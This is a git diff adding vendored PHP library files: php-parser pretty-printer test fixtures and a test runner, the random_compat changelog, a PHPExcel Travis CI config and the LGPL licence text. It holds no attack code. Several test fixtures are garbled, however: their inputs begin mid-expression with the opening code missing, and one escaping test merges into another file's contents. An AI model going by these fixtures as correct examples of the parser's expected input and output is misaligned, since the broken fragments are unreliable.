parentheses, because the pretty printer is not aware that assignment +// and incdec only work on variables. +!($a = $b); +(++$a) ** $b; +$a ** ($b++); diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/expr/shortArraySyntax.test b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/shortArraySyntax.test new file mode 100644 index 00000000..082c2e04 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/shortArraySyntax.test @@ -0,0 +1,11 @@ +Short array syntax +----- + 'b', 'c' => 'd']; +----- +[]; +array(1, 2, 3); +['a' => 'b', 'c' => 'd']; \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/expr/stringEscaping.test b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/stringEscaping.test new file mode 100644 index 00000000..02877ad3 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/stringEscaping.test @@ -0,0 +1,23 @@ +Escape sequences in double-quoted strings +----- +b)(); +(A::$b)(); +----- +!!php7 +(function () { +})(); +array('a', 'b')()(); +A::$b::$c; +$A::$b[$c](); +$A::{$b[$c]}(); +A::${$b}[$c](); +($a->b)(); +(A::$b)(); diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/expr/variables.test b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/variables.test new file mode 100644 index 00000000..4e0fa2e1 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/variables.test @@ -0,0 +1,73 @@ +Variables +----- +b; +$a->b(); +$a->b($c); +$a->$b(); +$a->{$b}(); +$a->$b[$c](); +$$a->b; +$a[$b]; +$a[$b](); +$$a[$b]; +$a::B; +$a::$b; +$a::b(); +$a::b($c); +$a::$b(); +$a::$b[$c]; +$a::$b[$c]($d); +$a::{$b[$c]}($d); +$a::{$b->c}(); +A::$$b[$c](); +a(); +$a(); +$a()[$b]; +$a->b()[$c]; +$a::$b()[$c]; +(new A)->b; +(new A())->b(); +(new $$a)[$b]; +(new $a->b)->c; + +global $a, $$a, $$a[$b], $$a->b; +----- +!!php5 +$a; +${$a}; +${$a}; +$a->b; +$a->b(); +$a->b($c); +$a->{$b}(); +$a->{$b}(); +$a->{$b[$c]}(); +${$a}->b; +$a[$b]; +$a[$b](); +${$a[$b]}; +$a::B; +$a::$b; +$a::b(); +$a::b($c); +$a::$b(); +$a::$b[$c]; +$a::{$b[$c]}($d); +$a::{$b[$c]}($d); +$a::{$b->c}(); +A::${$b[$c]}(); +a(); +$a(); +$a()[$b]; +$a->b()[$c]; +$a::$b()[$c]; +(new A())->b; +(new A())->b(); +(new ${$a}())[$b]; +(new $a->b())->c; +global $a, ${$a}, ${$a[$b]}, ${$a->b}; diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/expr/yield.test b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/yield.test new file mode 100644 index 00000000..12ab7dec --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/expr/yield.test @@ -0,0 +1,46 @@ +Yield +----- + $b; + $a = yield; + $a = (yield $b); + $a = (yield $b => $c); +} +// TODO Get rid of parens for cases 2 and 3 +----- +function gen() +{ + yield; + (yield $a); + (yield $a => $b); + $a = yield; + $a = (yield $b); + $a = (yield $b => $c); +} +// TODO Get rid of parens for cases 2 and 3 +----- + $c; + yield from $a; + $a = yield from $b; +} +// TODO Get rid of parens for last case +----- +!!php7 +function gen() +{ + $a = (yield $b); + $a = (yield $b => $c); + yield from $a; + $a = (yield from $b); +} +// TODO Get rid of parens for last case \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/inlineHTMLandPHPtest.file-test b/vendor/nikic/php-parser/test/code/prettyPrinter/inlineHTMLandPHPtest.file-test new file mode 100644 index 00000000..74a26850 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/inlineHTMLandPHPtest.file-test @@ -0,0 +1,52 @@ +File containing both inline HTML and PHP +----- +HTML + +HTML +----- + +HTML +----- +HTML + +HTML +----- +HTML + +HTML +----- +HTML + +HTML + +HTML +----- +HTML + +HTML + +HTML \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/onlyInlineHTML.file-test b/vendor/nikic/php-parser/test/code/prettyPrinter/onlyInlineHTML.file-test new file mode 100644 index 00000000..0e2d4f77 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/onlyInlineHTML.file-test @@ -0,0 +1,11 @@ +File containing only inline HTML +----- +Hallo World +Foo Bar +Bar Foo +World Hallo +----- +Hallo World +Foo Bar +Bar Foo +World Hallo \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/onlyPHP.file-test b/vendor/nikic/php-parser/test/code/prettyPrinter/onlyPHP.file-test new file mode 100644 index 00000000..9550b107 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/onlyPHP.file-test @@ -0,0 +1,16 @@ +File containing only PHP +----- +a = 'bar'; + echo 'test'; + } + + protected function baz() {} + public function foo() {} + abstract static function bar() {} +} + +trait Bar +{ + function test() + { + } +} +----- +class Foo extends Bar implements ABC, \DEF, namespace\GHI +{ + var $a = 'foo'; + private $b = 'bar'; + static $c = 'baz'; + function test() + { + $this->a = 'bar'; + echo 'test'; + } + protected function baz() + { + } + public function foo() + { + } + static abstract function bar() + { + } +} +trait Bar +{ + function test() + { + } +} \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/stmt/const.test b/vendor/nikic/php-parser/test/code/prettyPrinter/stmt/const.test new file mode 100644 index 00000000..6b176420 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/stmt/const.test @@ -0,0 +1,11 @@ +Constant declarations +----- + $val) { + +} + +foreach ($arr as $key => &$val) { + +} +----- +foreach ($arr as $val) { +} +foreach ($arr as &$val) { +} +foreach ($arr as $key => $val) { +} +foreach ($arr as $key => &$val) { +} \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/prettyPrinter/stmt/function_signatures.test b/vendor/nikic/php-parser/test/code/prettyPrinter/stmt/function_signatures.test new file mode 100644 index 00000000..af1088a0 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/prettyPrinter/stmt/function_signatures.test @@ -0,0 +1,43 @@ +Function signatures +----- +parse($code); + $parseTime += microtime(true) - $startTime; + + $startTime = microtime(true); + $code = 'prettyPrint($stmts); + $ppTime += microtime(true) - $startTime; + + try { + $startTime = microtime(true); + $ppStmts = $parser->parse($code); + $reparseTime += microtime(true) - $startTime; + + $startTime = microtime(true); + $same = $nodeDumper->dump($stmts) == $nodeDumper->dump($ppStmts); + $compareTime += microtime(true) - $startTime; + + if (!$same) { + echo $file, ":\n Result of initial parse and parse after pretty print differ\n"; + if ($verbose) { + echo "Pretty printer output:\n=====\n$code\n=====\n\n"; + } + + ++$compareFail; + } + } catch (PhpParser\Error $e) { + echo $file, ":\n Parse of pretty print failed with message: {$e->getMessage()}\n"; + if ($verbose) { + echo "Pretty printer output:\n=====\n$code\n=====\n\n"; + } + + ++$ppFail; + } + } catch (PhpParser\Error $e) { + echo $file, ":\n Parse failed with message: {$e->getMessage()}\n"; + + ++$parseFail; + } +} + +if (0 === $parseFail && 0 === $ppFail && 0 === $compareFail) { + $exit = 0; + echo "\n\n", 'All tests passed.', "\n"; +} else { + $exit = 1; + echo "\n\n", '==========', "\n\n", 'There were: ', "\n"; + if (0 !== $parseFail) { + echo ' ', $parseFail, ' parse failures.', "\n"; + } + if (0 !== $ppFail) { + echo ' ', $ppFail, ' pretty print failures.', "\n"; + } + if (0 !== $compareFail) { + echo ' ', $compareFail, ' compare failures.', "\n"; + } +} + +echo "\n", + 'Tested files: ', $count, "\n", + "\n", + 'Reading files took: ', $readTime, "\n", + 'Parsing took: ', $parseTime, "\n", + 'Pretty printing took: ', $ppTime, "\n", + 'Reparsing took: ', $reparseTime, "\n", + 'Comparing took: ', $compareTime, "\n", + "\n", + 'Total time: ', microtime(true) - $totalStartTime, "\n", + 'Maximum memory usage: ', memory_get_peak_usage(true), "\n"; + +exit($exit); diff --git a/vendor/paragonie/random_compat/CHANGELOG.md b/vendor/paragonie/random_compat/CHANGELOG.md new file mode 100644 index 00000000..56d5a7c7 --- /dev/null +++ b/vendor/paragonie/random_compat/CHANGELOG.md @@ -0,0 +1,290 @@ +### Version 1.4.3 - 2018-04-04 + +* Fix version number in constant in lib/random.php +* Upgrade your dependency from `^1` to `^1|^2` if you want other + changes (i.e. better compatibility with type-safety), because the + v2 branch is where most of the development effort is focused. + Continued support for v1.x is considered "only for emergencies". + +### Version 1.4.2 - 2017-03-13 + +* Backport changes from version 2: + * Version 2.0.9 - 2017-03-03 + * More Psalm integration fixes. + * Version 2.0.8 - 2017-03-03 + * Prevent function already declared error for `random_int()` caused by misusing + the library (really you should only ever include `lib/random.php` and never any + of the other files). See [#125](https://github.com/paragonie/random_compat/issues/125). + * Version 2.0.6, 2.0.7 - 2017-02-27 + * Just updates to psalm.xml to silence false positives. + * Version 2.0.5 - 2017-02-27 + * Run random_compat through the static analysis tool, [psalm](https://github.com/vimeo/psalm), + as part of our continuous integration process. + * Minor readability enhancements ([#122](https://github.com/paragonie/random_compat/issues/122) + and several docblock changes). + * Version 2.0.4 - 2016-11-07 + * Don't unnecessarily prevent `mcrypt_create_iv()` from being used. + See [#111](https://github.com/paragonie/random_compat/issues/111). + * Version 2.0.3 - 2016-10-17 + * Updated `lib/error_polyfill.php` [to resolve corner cases](https://github.com/paragonie/random_compat/issues/104). + * The README was updated to help users troubleshoot and fix insecure environments. + * Tags will now be signed by [the GnuPG key used by the security team at Paragon Initiative Enterprises, LLC](https://paragonie.com/static/gpg-public-key.txt). + * Version 2.0.2 - 2016-04-03 + * Added a consistency check (discovered by Taylor Hornby in his + [PHP encryption library](https://github.com/defuse/php-encryption)). It + wasn't likely causing any trouble for us. + +### Version 1.4.1 - 2016-03-18 + +Update comment in random.php + +### Version 1.4.0 - 2016-03-18 + +Restored OpenSSL in the version 1 branch in preparation to remove +OpenSSL in version 2. + +### Version 1.3.1/1.2.3 - 2016-03-18 + +* Add more possible values to `open_baseir` check. + +### Version 1.3.0 - 2016-03-17 + +* Removed `openssl_random_pseudo_bytes()` entirely. If you are using + random_compat in PHP on a Unix-like OS but cannot access + `/dev/urandom`, version 1.3+ will throw an `Exception`. If you want to + trust OpenSSL, feel free to write your own fallback code. e.g. + + ```php + try { + $bytes = random_bytes(32); + } catch (Exception $ex) { + $strong = false; + $bytes = openssl_random_pseudo_bytes(32, $strong); + if (!$strong) { + throw $ex; + } + } + ``` + +### Version 1.2.2 - 2016-03-11 + +* To prevent applications from hanging, if `/dev/urandom` is not + accessible to PHP, skip mcrypt (which just fails before giving OpenSSL + a chance and was morally equivalent to not offering OpenSSL at all). + +### Version 1.2.1 - 2016-02-29 + +* PHP 5.6.10 - 5.6.12 will hang when mcrypt is used on Unix-based operating + systems ([PHP bug 69833](https://bugs.php.net/bug.php?id=69833)). If you are + running one of these versions, please upgrade (or make sure `/dev/urandom` is + readable) otherwise you're relying on OpenSSL. + +### Version 1.2.0 - 2016-02-05 + +* Whitespace and other cosmetic changes +* Added a changelog. +* We now ship with a command line utility to build a PHP Archive from the + command line. + + Every time we publish a new release, we will also upload a .phar + to Github. Our public key is signed by our GPG key. + +### Version 1.1.6 - 2016-01-29 + +* Eliminate `open_basedir` warnings by detecting this configuration setting. + (Thanks [@oucil](https://github.com/oucil) for reporting this.) +* Added install instructions to the README. +* Documentation cleanup (there is, in fact, no `MCRYPT_CREATE_IV` constant, I + meant to write `MCRYPT_DEV_URANDOM`) + +### Version 1.1.5 - 2016-01-06 + +Prevent fatal errors on platforms with older versions of libsodium. + +### Version 1.1.4 - 2015-12-10 + +Thanks [@narfbg](https://github.com/narfbg) for [critiquing the previous patch](https://github.com/paragonie/random_compat/issues/79#issuecomment-163590589) +and suggesting a fix. + +### Version 1.1.3 - 2015-12-09 + +The test for COM in disabled_classes is now case-insensitive. + +### Version 1.1.2 - 2015-12-09 + +Don't instantiate COM if it's a disabled class. Removes the E_WARNING on Windows. + +### Version 1.1.1 - 2015-11-30 + +Fix a performance issue with `/dev/urandom` buffering. + +### Version 1.1.0 - 2015-11-09 + +Fix performance issues with ancient versions of PHP on Windows, but dropped +support for PHP < 5.4.1 without mcrypt on Windows 7+ in the process. Since this + is a BC break, semver dictates a minor version bump. + +### Version 1.0.10 - 2015-10-23 + +* Avoid a performance killer with OpenSSL on Windows PHP 5.3.0 - 5.3.3 that was + affecting [WordPress users](https://core.trac.wordpress.org/ticket/34409). +* Use `$var = null` instead of `unset($var)` to avoid triggering the garbage + collector and slowing things down. + +### Version 1.0.9 - 2015-10-20 + +There is an outstanding issue `mcrypt_create_iv()` and PHP 7's `random_bytes()` +on Windows reported by [@nicolas-grekas](https://github.com/nicolas-grekas) caused by `proc_open()` and environment +variable handling (discovered by Appveyor when developing Symfony). + +Since the break is consistent, it's not our responsibility to fix it, but we +should fail the same way PHP 7 will (i.e. throw an `Exception` rather than raise +an error and then throw an `Exception`). + +### Version 1.0.8 - 2015-10-18 + +* Fix usability issues with Windows (`new COM('CAPICOM.Utilities.1')` is not + always available). +* You can now test all the possible drivers by running `phpunit.sh each` in the + `tests` directory. + +### Version 1.0.7 - 2015-10-16 + +Several large integer handling bugfixes were contributed by [@oittaa](https://github.com/oittaa). + +### Version 1.0.6 - 2015-10-15 + +Don't let the version number fool you, this was a pretty significant change. + +1. Added support for ext-libsodium, if it exists on the system. This is morally + equivalent to adding `getrandom(2)` support without having to expose the + syscall interface in PHP-land. +2. Relaxed open_basedir restrictions. In previous versions, if open_basedir was + set, PHP wouldn't even try to read from `/dev/urandom`. Now it will still do + so if you can. +3. Fixed integer casting inconsistencies between random_compat and PHP 7. +4. Handle edge cases where an integer overflow turns one of the parameters into + a float. + +One change that we discussed was making `random_bytes()` and `random_int()` +strict typed; meaning you could *only* pass integers to either function. While +most veteran programmers are probably only doing this already (we strongly +encourage it), it wouldn't be consistent with how these functions behave in PHP +7. Please use these functions responsibly. + +We've had even more of the PHP community involved in this release; the +contributors list has been updated. If I forgot anybody, I promise you it's not +because your contributions (either code or ideas) aren't valued, it's because +I'm a bit overloaded with information at the moment. Please let me know +immediately and I will correct my oversight. + +Thanks everyone for helping make random_compat better. + +### Version 1.0.5 - 2015-10-08 + +Got rid of the methods in the `Throwable` interface, which was causing problems +on PHP 5.2. While we would normally not care about 5.2 (since [5.4 and earlier are EOL'd](https://secure.php.net/supported-versions.php)), +we do want to encourage widespread adoption (e.g. [Wordpress](https://core.trac.wordpress.org/ticket/28633)). + +### Version 1.0.4 - 2015-10-02 + +Removed redundant `if()` checks, since `lib/random.php` is the entrypoint people +should use. + +### Version 1.0.3 - 2015-10-02 + +This release contains bug fixes contributed by the community. + +* Avoid a PHP Notice when PHP is running without the mbstring extension +* Use a compatible version of PHPUnit for testing on older versions of PHP + +Although none of these bugs were outright security-affecting, updating ASAP is +still strongly encouraged. + +### Version 1.0.2 - 2015-09-23 + +Less strict input validation on `random_int()` parameters. PHP 7's `random_int()` +accepts strings and floats that look like numbers, so we should too. + +Thanks [@dd32](https://github.com/@dd32) for correcting this oversight. + +### Version 1.0.1 - 2015-09-10 + +Instead of throwing an Exception immediately on insecure platforms, only do so +when `random_bytes()` is invoked. + +### Version 1.0.0 - 2015-09-07 + +Our API is now stable and forward-compatible with the CSPRNG features in PHP 7 +(as of 7.0.0 RC3). + +A lot of great people have contributed their time and expertise to make this +compatibility library possible. That this library has reached a stable release +is more a reflection on the community than it is on PIE. + +We are confident that random_compat will serve as the simplest and most secure +CSPRNG interface available for PHP5 projects. + +### Version 0.9.7 (pre-release) - 2015-09-01 + +An attempt to achieve compatibility with Error/TypeError in the RFC. + +This should be identical to 1.0.0 sans any last-minute changes or performance enhancements. + +### Version 0.9.6 (pre-release) - 2015-08-06 + +* Split the implementations into their own file (for ease of auditing) +* Corrected the file type check after `/dev/urandom` has been opened (thanks + [@narfbg](https://github.com/narfbg) and [@jedisct1](https://github.com/jedisct1)) + +### Version 0.9.5 (pre-release) - 2015-07-31 + +* Validate that `/dev/urandom` is a character device + * Reported by [@lokdnet](https://twitter.com/lokdnet) + * Investigated by [@narfbg](https://github.com/narfbg) and [frymaster](http://stackoverflow.com/users/1226810/frymaster) on [StackOverflow](http://stackoverflow.com/q/31631066/2224584) +* Remove support for `/dev/arandom` which is an old OpenBSD feature, thanks [@jedisct1](https://github.com/jedisct1) +* Prevent race conditions on the `filetype()` check, thanks [@jedisct1](https://github.com/jedisct1) +* Buffer file reads to 8 bytes (performance optimization; PHP defaults to 8192 bytes) + +### Version 0.9.4 (pre-release) - 2015-07-27 + +* Add logic to verify that `/dev/arandom` and `/dev/urandom` are actually devices. +* Some clean-up in the comments + +### Version 0.9.3 (pre-release) - 2015-07-22 + +Unless the Exceptions change to PHP 7 fails, this should be the last pre-release +version. If need be, we'll make one more pre-release version with compatible +behavior. + +Changes since 0.9.2: + +* Prioritize `/dev/arandom` and `/dev/urandom` over mcrypt. +[@oittaa](https://github.com/oittaa) removed the -1 and +1 juggling on `$range` calculations for `random_int()` +* Whitespace and comment clean-up, plus better variable names +* Actually put a description in the composer.json file... + +### Version 0.9.2 (pre-release) - 2015-07-16 + +* Consolidated `$range > PHP_INT_MAX` logic with `$range <= PHP_INT_MAX` (thanks + [@oittaa](https://github.com/oittaa) and [@CodesInChaos](https://github.com/CodesInChaos)) +* `tests/phpunit.sh` now also runs the tests with `mbstring.func_overload` and + `open_basedir` +* Style consistency, whitespace cleanup, more meaningful variable names + +### Version 0.9.1 (pre-release) - 2015-07-09 + +* Return random values on integer ranges > `PHP_INT_MAX` (thanks [@CodesInChaos](https://github.com/CodesInChaos)) +* Determined CSPRNG preference: + 1. `mcrypt_create_iv()` with `MCRYPT_DEV_URANDOM` + 2. `/dev/arandom` + 3. `/dev/urandom` + 4. `openssl_random_pseudo_bytes()` +* Optimized backend selection (thanks [@lt](https://github.com/lt)) +* Fix #3 (thanks [@scottchiefbaker](https://github.com/scottchiefbaker)) + +### Version 0.9.0 (pre-release) - 2015-07-07 + +This should be a sane polyfill for PHP 7's `random_bytes()` and `random_int()`. +We hesitate to call it production ready until it has received sufficient third +party review. \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/.travis.yml b/vendor/phpoffice/phpexcel/.travis.yml new file mode 100644 index 00000000..99e9e8da --- /dev/null +++ b/vendor/phpoffice/phpexcel/.travis.yml @@ -0,0 +1,29 @@ +language: php + +php: + - 5.4 + - 5.5 + - 5.6 + - 7.0 + - hhvm + +matrix: + allow_failures: + - php: hhvm + +before_script: + ## Packages + - sudo apt-get -qq update > /dev/null + ## Composer + - composer self-update + - composer install --prefer-source --dev + - phpenv global "$TRAVIS_PHP_VERSION" + +script: + ## PHP_CodeSniffer + - ./vendor/bin/phpcs --report-width=200 --report-summary --report-full Classes/ unitTests/ --standard=PSR2 -n + ## PHPUnit + - phpunit -c ./unitTests/ + +notifications: + email: false diff --git a/vendor/phpoffice/phpexcel/Classes/PHPExcel/Chart/Renderer/PHP Charting Libraries.txt b/vendor/phpoffice/phpexcel/Classes/PHPExcel/Chart/Renderer/PHP Charting Libraries.txt index 9334f684..a088989e 100644 --- a/vendor/phpoffice/phpexcel/Classes/PHPExcel/Chart/Renderer/PHP Charting Libraries.txt +++ b/vendor/phpoffice/phpexcel/Classes/PHPExcel/Chart/Renderer/PHP Charting Libraries.txt @@ -1,20 +1,20 @@ -ChartDirector - http://www.advsofteng.com/cdphp.html - -GraPHPite - http://graphpite.sourceforge.net/ - -JpGraph - http://www.aditus.nu/jpgraph/ - -LibChart - http://naku.dohcrew.com/libchart/pages/introduction/ - -pChart - http://pchart.sourceforge.net/ - -TeeChart - http://www.steema.com/products/teechart/overview.html - -PHPGraphLib +ChartDirector + http://www.advsofteng.com/cdphp.html + +GraPHPite + http://graphpite.sourceforge.net/ + +JpGraph + http://www.aditus.nu/jpgraph/ + +LibChart + http://naku.dohcrew.com/libchart/pages/introduction/ + +pChart + http://pchart.sourceforge.net/ + +TeeChart + http://www.steema.com/products/teechart/overview.html + +PHPGraphLib http://www.ebrueggeman.com/phpgraphlib \ No newline at end of file diff --git a/vendor/phpoffice/phpexcel/Classes/PHPExcel/Shared/PCLZip/gnu-lgpl.txt b/vendor/phpoffice/phpexcel/Classes/PHPExcel/Shared/PCLZip/gnu-lgpl.txt index b1e3f5a2..cbee875b 100644 --- a/vendor/phpoffice/phpexcel/Classes/PHPExcel/Shared/PCLZip/gnu-lgpl.txt +++ b/vendor/phpoffice/phpexcel/Classes/PHPExcel/Shared/PCLZip/gnu-lgpl.txt @@ -1,504 +1,504 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 2.1, February 1999 - - Copyright (C) 1991, 1999 Free Software Foundation, Inc. - 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - -[This is the first released version of the Lesser GPL. It also counts - as the successor of the GNU Library Public License, version 2, hence - the version number 2.1.] - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -Licenses are intended to guarantee your freedom to share and change -free software--to make sure the software is free for all its users. - - This license, the Lesser General Public License, applies to some -specially designated software packages--typically libraries--of the -Free Software Foundation and other authors who decide to use it. You -can use it too, but we suggest you first think carefully about whether -this license or the ordinary General Public License is the better -strategy to use in any particular case, based on the explanations below. - - When we speak of free software, we are referring to freedom of use, -not price. Our General Public Licenses are designed to make sure that -you have the freedom to distribute copies of free software (and charge -for this service if you wish); that you receive source code or can get -it if you want it; that you can change the software and use pieces of -it in new free programs; and that you are informed that you can do -these things. - - To protect your rights, we need to make restrictions that forbid -distributors to deny you these rights or to ask you to surrender these -rights. These restrictions translate to certain responsibilities for -you if you distribute copies of the library or if you modify it. - - For example, if you distribute copies of the library, whether gratis -or for a fee, you must give the recipients all the rights that we gave -you. You must make sure that they, too, receive or can get the source -code. If you link other code with the library, you must provide -complete object files to the recipients, so that they can relink them -with the library after making changes to the library and recompiling -it. And you must show them these terms so they know their rights. - - We protect your rights with a two-step method: (1) we copyright the -library, and (2) we offer you this license, which gives you legal -permission to copy, distribute and/or modify the library. - - To protect each distributor, we want to make it very clear that -there is no warranty for the free library. Also, if the library is -modified by someone else and passed on, the recipients should know -that what they have is not the original version, so that the original -author's reputation will not be affected by problems that might be -introduced by others. - - Finally, software patents pose a constant threat to the existence of -any free program. We wish to make sure that a company cannot -effectively restrict the users of a free program by obtaining a -restrictive license from a patent holder. Therefore, we insist that -any patent license obtained for a version of the library must be -consistent with the full freedom of use specified in this license. - - Most GNU software, including some libraries, is covered by the -ordinary GNU General Public License. This license, the GNU Lesser -General Public License, applies to certain designated libraries, and -is quite different from the ordinary General Public License. We use -this license for certain libraries in order to permit linking those -libraries into non-free programs. - - When a program is linked with a library, whether statically or using -a shared library, the combination of the two is legally speaking a -combined work, a derivative of the original library. The ordinary -General Public License therefore permits such linking only if the -entire combination fits its criteria of freedom. The Lesser General -Public License permits more lax criteria for linking other code with -the library. - - We call this license the "Lesser" General Public License because it -does Less to protect the user's freedom than the ordinary General -Public License. It also provides other free software developers Less -of an advantage over competing non-free programs. These disadvantages -are the reason we use the ordinary General Public License for many -libraries. However, the Lesser license provides advantages in certain -special circumstances. - - For example, on rare occasions, there may be a special need to -encourage the widest possible use of a certain library, so that it becomes -a de-facto standard. To achieve this, non-free programs must be -allowed to use the library. A more frequent case is that a free -library does the same job as widely used non-free libraries. In this -case, there is little to gain by limiting the free library to free -software only, so we use the Lesser General Public License. - - In other cases, permission to use a particular library in non-free -programs enables a greater number of people to use a large body of -free software. For example, permission to use the GNU C Library in -non-free programs enables many more people to use the whole GNU -operating system, as well as its variant, the GNU/Linux operating -system. - - Although the Lesser General Public License is Less protective of the -users' freedom, it does ensure that the user of a program that is -linked with the Library has the freedom and the wherewithal to run -that program using a modified version of the Library. - - The precise terms and conditions for copying, distribution and -modification follow. Pay close attention to the difference between a -"work based on the library" and a "work that uses the library". The -former contains code derived from the library, whereas the latter must -be combined with the library in order to run. - - GNU LESSER GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License Agreement applies to any software library or other -program which contains a notice placed by the copyright holder or -other authorized party saying it may be distributed under the terms of -this Lesser General Public License (also called "this License"). -Each licensee is addressed as "you". - - A "library" means a collection of software functions and/or data -prepared so as to be conveniently linked with application programs -(which use some of those functions and data) to form executables. - - The "Library", below, refers to any such software library or work -which has been distributed under these terms. A "work based on the -Library" means either the Library or any derivative work under -copyright law: that is to say, a work containing the Library or a -portion of it, either verbatim or with modifications and/or translated -straightforwardly into another language. (Hereinafter, translation is -included without limitation in the term "modification".) - - "Source code" for a work means the preferred form of the work for -making modifications to it. For a library, complete source code means -all the source code for all modules it contains, plus any associated -interface definition files, plus the scripts used to control compilation -and installation of the library. - - Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running a program using the Library is not restricted, and output from -such a program is covered only if its contents constitute a work based -on the Library (independent of the use of the Library in a tool for -writing it). Whether that is true depends on what the Library does -and what the program that uses the Library does. - - 1. You may copy and distribute verbatim copies of the Library's -complete source code as you receive it, in any medium, provided that -you conspicuously and appropriately publish on each copy an -appropriate copyright notice and disclaimer of warranty; keep intact -all the notices that refer to this License and to the absence of any -warranty; and distribute a copy of this License along with the -Library. - - You may charge a fee for the physical act of transferring a copy, -and you may at your option offer warranty protection in exchange for a -fee. - - 2. You may modify your copy or copies of the Library or any portion -of it, thus forming a work based on the Library, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) The modified work must itself be a software library. - - b) You must cause the files modified to carry prominent notices - stating that you changed the files and the date of any change. - - c) You must cause the whole of the work to be licensed at no - charge to all third parties under the terms of this License. - - d) If a facility in the modified Library refers to a function or a - table of data to be supplied by an application program that uses - the facility, other than as an argument passed when the facility - is invoked, then you must make a good faith effort to ensure that, - in the event an application does not supply such function or - table, the facility still operates, and performs whatever part of - its purpose remains meaningful. - - (For example, a function in a library to compute square roots has - a purpose that is entirely well-defined independent of the - application. Therefore, Subsection 2d requires that any - application-supplied function or table used by this function must - be optional: if the application does not supply it, the square - root function must still compute square roots.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Library, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Library, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote -it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Library. - -In addition, mere aggregation of another work not based on the Library -with the Library (or with a work based on the Library) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may opt to apply the terms of the ordinary GNU General Public -License instead of this License to a given copy of the Library. To do -this, you must alter all the notices that refer to this License, so -that they refer to the ordinary GNU General Public License, version 2, -instead of to this License. (If a newer version than version 2 of the -ordinary GNU General Public License has appeared, then you can specify -that version instead if you wish.) Do not make any other change in -these notices. - - Once this change is made in a given copy, it is irreversible for -that copy, so the ordinary GNU General Public License applies to all -subsequent copies and derivative works made from that copy. - - This option is useful when you wish to copy part of the code of -the Library into a program that is not a library. - - 4. You may copy and distribute the Library (or a portion or -derivative of it, under Section 2) in object code or executable form -under the terms of Sections 1 and 2 above provided that you accompany -it with the complete corresponding machine-readable source code, which -must be distributed under the terms of Sections 1 and 2 above on a -medium customarily used for software interchange. - - If distribution of object code is made by offering access to copy -from a designated place, then offering equivalent access to copy the -source code from the same place satisfies the requirement to -distribute the source code, even though third parties are not -compelled to copy the source along with the object code. - - 5. A program that contains no derivative of any portion of the -Library, but is designed to work with the Library by being compiled or -linked with it, is called a "work that uses the Library". Such a -work, in isolation, is not a derivative work of the Library, and -therefore falls outside the scope of this License. - - However, linking a "work that uses the Library" with the Library -creates an executable that is a derivative of the Library (because it -contains portions of the Library), rather than a "work that uses the -library". The executable is therefore covered by this License. -Section 6 states terms for distribution of such executables. - - When a "work that uses the Library" uses material from a header file -that is part of the Library, the object code for the work may be a -derivative work of the Library even though the source code is not. -Whether this is true is especially significant if the work can be -linked without the Library, or if the work is itself a library. The -threshold for this to be true is not precisely defined by law. - - If such an object file uses only numerical parameters, data -structure layouts and accessors, and small macros and small inline -functions (ten lines or less in length), then the use of the object -file is unrestricted, regardless of whether it is legally a derivative -work. (Executables containing this object code plus portions of the -Library will still fall under Section 6.) - - Otherwise, if the work is a derivative of the Library, you may -distribute the object code for the work under the terms of Section 6. -Any executables containing that work also fall under Section 6, -whether or not they are linked directly with the Library itself. - - 6. As an exception to the Sections above, you may also combine or -link a "work that uses the Library" with the Library to produce a -work containing portions of the Library, and distribute that work -under terms of your choice, provided that the terms permit -modification of the work for the customer's own use and reverse -engineering for debugging such modifications. - - You must give prominent notice with each copy of the work that the -Library is used in it and that the Library and its use are covered by -this License. You must supply a copy of this License. If the work -during execution displays copyright notices, you must include the -copyright notice for the Library among them, as well as a reference -directing the user to the copy of this License. Also, you must do one -of these things: - - a) Accompany the work with the complete corresponding - machine-readable source code for the Library including whatever - changes were used in the work (which must be distributed under - Sections 1 and 2 above); and, if the work is an executable linked - with the Library, with the complete machine-readable "work that - uses the Library", as object code and/or source code, so that the - user can modify the Library and then relink to produce a modified - executable containing the modified Library. (It is understood - that the user who changes the contents of definitions files in the - Library will not necessarily be able to recompile the application - to use the modified definitions.) - - b) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (1) uses at run time a - copy of the library already present on the user's computer system, - rather than 